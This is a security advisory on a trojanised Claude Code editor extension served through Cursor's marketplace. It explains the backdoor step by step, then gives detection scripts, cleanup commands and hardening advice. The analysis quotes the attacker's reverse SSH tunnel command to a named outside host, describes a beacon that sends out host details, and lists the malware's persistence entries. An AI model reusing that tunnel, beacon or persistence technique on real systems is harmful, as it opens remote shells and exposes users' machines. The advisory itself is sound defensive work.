On 29 October 2026 a trojanised build of Anthropic's Claude Code extension, version 2.1.313, was served to editors as an ordinary update. On load it added an attacker's key to ~/.ssh/authorized_keys, installed a start-up job, and tried to open a reverse SSH tunnel to a server at 134.209.82.225. Cursor says at most 5,000 of its users received it during a window of roughly eleven hours, and that the build "was not developed by Anthropic".
This article explains what the backdoor does step by step, which installs were exposed, why uninstalling the extension is not enough, and how to check and clean a macOS, Linux or Windows machine. It is for anyone who runs Claude Code inside Cursor, VS Code or another VS Code–compatible editor, and for the people who look after their laptops.
| Extension | anthropic.claude-code (Claude Code for VS Code) |
| Bad versions | 2.1.313; Cursor's updated notice also lists 2.1.312 (Cursor) |
| Exposure window | 29 October, about 02:27 to 13:35 PT (09:27 to 20:35 UTC) (StepSecurity) |
| Confirmed channel | Cursor's extension marketplace (OpenSourceMalware) |
| Users reached | At most 5,000, per Cursor |
| Clean version | 2.1.314, published 30 October (The Hacker News) |
| How it was published | Not yet explained by Anthropic or Cursor |
What happened to the Claude Code extension?
A modified copy of the extension's main bundle, extension.js, was published under the real anthropic.claude-code identifier, so editors with automatic updates installed it without any prompt. OpenSourceMalware counted a 66-line loader prepended to the legitimate code; StepSecurity measured the bad bundle at 3,692,922 bytes, about 7 KB larger than the clean release before it.
Which marketplace served it was confused in the first hours. Early write-ups from Phorion and StepSecurity pointed at Open VSX, the registry used by Cursor, VSCodium and Windsurf. Cursor then told OpenSourceMalware that the extension in its own marketplace "experienced some form of compromise", and The Hacker News corrected its report to say the Open VSX claim was traced back to Cursor's marketplace. Cursor took its whole marketplace offline, removed the version, audited the other extensions, rotated keys and rebuilt it, according to its security notice. Anthropic pulled 2.1.313 from the other channels as a precaution and shipped 2.1.314.
Nobody has yet said how the attacker got a build published under Anthropic's name. The Hacker News thread that put the story on the front page with more than 500 points is full of that question, and it is the one that matters most for the next incident. Until there is a post-mortem, treat the publishing path as unknown.
How the backdoor works, from editor update to reverse SSH tunnel
The loader runs when the editor's extension host loads extension.js, before the extension's own activate function, so opening the editor was enough; nobody had to start a Claude session. It uses only Node's built-in child_process, fs, os, http and crypto modules and declares no install scripts, which is why package-manager hooks and lockfile scanners never saw it (Phorion, OpenSourceMalware).
- Cursor marketplace → Editor auto-update: update
- Editor auto-update → extension.js loader
- extension.js loader → ~/.ssh/authorized_keys: append key
- extension.js loader → Start-up job: install
- Start-up job → 134.209.82.225: ssh -R *:0:localhost:22
- extension.js loader → 134.209.82.225: HTTP POST /beacon
The payload does four things, in this order:
- Plants a login key. It creates
~/.sshif needed, fixes its permissions and appends an Ed25519 public key with the commentsvc-telemetrytoauthorized_keys. - Tries to turn on SSH. On Linux it starts
sshdthroughsystemctlorservice; on macOS it runssudo -n systemsetup -setremotelogin on; on Windows it installs and starts OpenSSH Server through PowerShell. - Opens a reverse tunnel. It writes a second private key to a hidden
.stk_*file in the temp directory and runsssh -N -R '*:0:localhost:22' tunnel@134.209.82.225(orautosshwhen present) in a loop that retries every 60 seconds, so the attacker's server gets a port that leads straight to your SSH daemon. - Reports home. One plain-HTTP JSON POST to
134.209.82.225:8099/beaconcarries the hostname, user name, OS, architecture, home and working directories, global Git e-mail, public IP and the names of up to 40 environment variables matchingKEY,TOKEN,SECRET,PASS,AWSorGCP. Values are not sent.
Persistence differs by platform: a user LaunchAgent named com.apple.sysmond on macOS, an @reboot crontab line on Linux, and a scheduled task called SysMon running as SYSTEM on Windows, with a sysmon.cmd in the Startup folder as the fallback. Each runs a small script kept in ~/.config/.smt (or smt.cmd on Windows) next to the tunnel key in .smtk (Phorion).
The extension was only the delivery van; what it leaves behind keeps running after you uninstall it.
Was my machine actually exposed?
Probably only if your editor installed 2.1.312 or 2.1.313 from Cursor's marketplace during the window on 29 October. Cursor's notice names Windows and macOS builds; the analysed samples were darwin-arm64 and win32-x64 (StepSecurity). Installs from the Microsoft Visual Studio Marketplace, the @anthropic-ai/claude-code npm package and Open VSX are not known to have carried the malicious code, per OpenSourceMalware and The Hacker News.
Being exposed is not the same as being reachable. The tunnel forwards to port 22 on your own machine, so it only gives the attacker a shell if an SSH server is listening there. On macOS, Remote Login is off by default and the loader's attempt to switch it on usually fails: systemsetup -getremotelogin without admin rights prints an error and exits 0, the loader's /Off/i check never matches, and the enable step is skipped (Phorion). Cursor says enabling SSH generally needs administrator rights the extension does not have on most macOS and Windows hosts (Cursor).
The risky cases are the machines where sshd was already running: Linux workstations, Macs with Remote Login switched on for remote development, and Windows hosts where OpenSSH Server was already installed. There, a live tunnel plus the planted key is a working remote login, and from then on everything the user can read is in play.
How to check a Mac or Linux machine for the svc-telemetry backdoor
The fastest test is the planted key: grep svc-telemetry ~/.ssh/authorized_keys. The script below checks every indicator the published analyses agree on, including the start-up job, the tunnel process and any backdoored bundle still sitting in an editor's extensions folder. It only reads; it changes nothing, and it exits non-zero if it finds anything so you can run it from a fleet tool.
#!/bin/sh# Looks for the Claude Code 2.1.313 backdoor on macOS or Linux. Read-only: it changes nothing.found=0hit() { echo "FOUND: $1"; found=1; } grep -q 'svc-telemetry' "$HOME/.ssh/authorized_keys" 2>/dev/null && hit "svc-telemetry key in ~/.ssh/authorized_keys"for f in "$HOME/.config/.smt" "$HOME/.config/.smtk" "$HOME/Library/LaunchAgents/com.apple.sysmond.plist" \ "${TMPDIR:-/tmp}"/.stk_* /tmp/.stk_*; do [ -e "$f" ] && hit "$f"donecrontab -l 2>/dev/null | grep -q '\.smt' && hit "@reboot entry for .smt in crontab"launchctl list 2>/dev/null | grep -q 'com.apple.sysmond' && hit "LaunchAgent com.apple.sysmond is loaded"pgrep -f 'ssh.*-R.*[l]ocalhost:22' >/dev/null 2>&1 && hit "reverse SSH tunnel process (see: pgrep -fl ssh)"for d in "$HOME/.cursor/extensions" "$HOME/.vscode/extensions" "$HOME/.windsurf/extensions" "$HOME/.vscode-oss/extensions"; do [ -d "$d" ] || continue for f in $(grep -rl --include=extension.js -e '134.209.82.225' -e 'svc-telemetry' "$d" 2>/dev/null); do hit "backdoored bundle $f" donedone [ "$found" -eq 0 ] && echo "No indicators of the 2.1.313 backdoor found for $(id -un)"exit "$found"$ sh check-claude-ext.shNo indicators of the 2.1.313 backdoor found for root$ HOME=/tmp/infected-test sh check-claude-ext.shFOUND: svc-telemetry key in ~/.ssh/authorized_keysFOUND: /tmp/infected-test/.config/.smtFOUND: /tmp/infected-test/.config/.smtkThe pattern [l]ocalhost stops pgrep from matching the shell you typed it into, a false positive that is easy to miss when you write the check inline.
How to check Windows for the SysMon task and the attacker key
On Windows the indicators are the key in your profile's authorized_keys, the SysMon scheduled task, the Startup-folder fallback and the script in .config. Run this in PowerShell; the capability query at the end needs an elevated prompt (Cursor, StepSecurity).
Select-String -Path "$env:USERPROFILE\.ssh\authorized_keys" -Pattern 'svc-telemetry' -ErrorAction SilentlyContinueGet-ScheduledTask -TaskName 'SysMon' -ErrorAction SilentlyContinue | Format-List TaskName, State, PrincipalTest-Path "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\sysmon.cmd"Test-Path "$env:USERPROFILE\.config\smt.cmd"Get-CimInstance Win32_Process -Filter "Name='ssh.exe'" | Where-Object CommandLine -match 'localhost:22' | Select-Object ProcessId, CommandLineGet-WindowsCapability -Online -Name 'OpenSSH.Server*' | Select-Object Name, State # elevated promptAny True, any SysMon task or any matching ssh.exe line means the payload ran. An OpenSSH Server state of Installed on a machine where nobody installed it is a strong sign it also got that far.
How to remove it, and why uninstalling the extension is not enough
The extension only delivered the payload. The key, the start-up job and the tunnel loop live outside the extension folder, so removing or updating the extension leaves them in place. Clean up in this order, so the tunnel cannot come back while you work.
Preserve evidence, then cut the network path
If the check found anything, copy
authorized_keys, the.smtfiles, the LaunchAgent plist or task definition and your SSH logs somewhere safe first. Then block134.209.82.225on ports 22 and 8099 at the host or network firewall. Cursor says the server is offline, but a block costs nothing.Stop the tunnel and remove persistence
remove-persistence.shShell # macOSlaunchctl unload ~/Library/LaunchAgents/com.apple.sysmond.plist 2>/dev/nullrm -f ~/Library/LaunchAgents/com.apple.sysmond.plist# Linux: remove the @reboot line that runs .smt (check the result: a bug in the loader can wipe other cron jobs)crontab -l | grep -v '\.smt' | crontab -# both: stop the retry loop and the tunnel, then delete the filespkill -f '\.config/\.smt'pkill -f 'ssh.*-R.*[l]ocalhost:22'rm -f ~/.config/.smt ~/.config/.smtk "${TMPDIR:-/tmp}"/.stk_* /tmp/.stk_*On Windows, run
Unregister-ScheduledTask -TaskName SysMon -Confirm:$falsefrom an elevated prompt and deletesysmon.cmd,smt.cmdandsmtk. Cursor publishes remediate-macos.sh, to run as the affected user, and remediate-windows.ps1, to run as Administrator; read them before running them.Remove the key and update the extension
remove-key-and-update.shShell # macOS uses BSD sed: -i '' ; on Linux drop the ''sed -i '' '/svc-telemetry/d' ~/.ssh/authorized_keys# then install a clean build explicitlycursor --install-extension anthropic.claude-code@2.1.314 --forceIf Remote Login or OpenSSH Server was switched on by the payload rather than by you, switch it off again.
Rotate what the account could reach
If the tunnel ever connected while an SSH server was listening, assume the attacker had a shell as that user. Rotate, from a different and known-clean machine, the credentials that user could reach: Git hosting tokens, cloud keys, CI secrets, package-registry tokens and SSH keys. The beacon told the attacker the names of your secret-looking environment variables, which is a shopping list. StepSecurity and OpenSourceMalware both recommend rebuilding the host in that case rather than trying to prove it clean.
What this changes about trusting editor extensions
An editor extension runs with your user's full rights from the moment the editor starts. The VS Code extension runtime security page says so plainly: extensions can read and write files, make network requests and run processes. A signed, verified publisher badge tells you who the listing belongs to, not what is inside this particular build.
For AI coding assistants the stakes are higher than for a theme or a linter, because these extensions are already expected to run shell commands and touch credentials, and they update almost daily. Two habits limit the damage of the next bad build. Turn off automatic extension updates on machines that hold production credentials ("extensions.autoUpdate": false in VS Code–family settings) and update deliberately a day or so behind release, which on its own would have skipped this eleven-hour window. And alert on the behaviour rather than the name: an editor helper process writing authorized_keys, a non-Apple process creating a com.apple.* LaunchAgent, or any ssh -R from a developer laptop are all rare enough to page someone.
The one thing to remember: if 2.1.312 or 2.1.313 ever loaded on your machine, updating the extension fixed nothing. Look for the svc-telemetry key and the start-up job, remove them, and rotate whatever that user could reach.
Questions people ask about the Claude Code extension backdoor
Which Claude Code extension versions were malicious?
Version 2.1.313 of anthropic.claude-code, and Cursor's revised notice also lists 2.1.312 as served from its marketplace. Version 2.1.314, published on 30 October 2026, is the clean replacement.
Was the Claude Code CLI or the npm package affected?
No compromise of the @anthropic-ai/claude-code npm package has been reported. The malicious code was in the editor extension's extension.js bundle served through Cursor's marketplace.
I use VS Code from Microsoft's marketplace. Am I affected?
Reports so far say the malicious build was not distributed through the Visual Studio Marketplace, and Anthropic removed 2.1.313 there as a precaution. Running the svc-telemetry check takes seconds and settles it.
Does uninstalling the extension remove the backdoor?
No. The SSH key, the start-up job and the tunnel script live outside the extension folder and keep running after the extension is gone. Remove them by hand or with Cursor's remediation scripts.
Did the malware steal my API keys?
The beacon sent the names of up to 40 environment variables that look like secrets, not their values. If the reverse tunnel connected to a running SSH server, though, the attacker could log in as you and read anything you can, so rotate those credentials.
How did attackers publish a fake update under Anthropic's name?
That has not been explained yet. Cursor has said its marketplace experienced a compromise and has rotated keys and rebuilt it; a full post-mortem from Cursor or Anthropic had not been published at the time of writing.
How can I stop a bad extension update from reaching me automatically?
Set extensions.autoUpdate to false on sensitive machines, update deliberately after a short delay, and pin versions with --install-extension <id>@<version>. Endpoint rules that watch for editor processes writing to ~/.ssh catch what pinning misses.
Sources and further reading
- Cursor: Claude Code extension security notice, with IOCs and remediation scripts
- Phorion: Official Claude Code extension compromise, full payload analysis and detection guidance
- StepSecurity: Trojanized Claude Code extension delivered persistent SSH backdoor, timeline and hashes
- OpenSourceMalware: Trojanized Claude Code extension plants persistent SSH backdoor
- The Hacker News: Official Claude Code extension on Cursor Marketplace trojanized
- Anthropic: Claude Code releases on GitHub
- Visual Studio Code: Extension runtime security
- Discussion: Hacker News thread
Discussion
Join the discussion
Sign in with Google, Apple or an email code to comment and reply.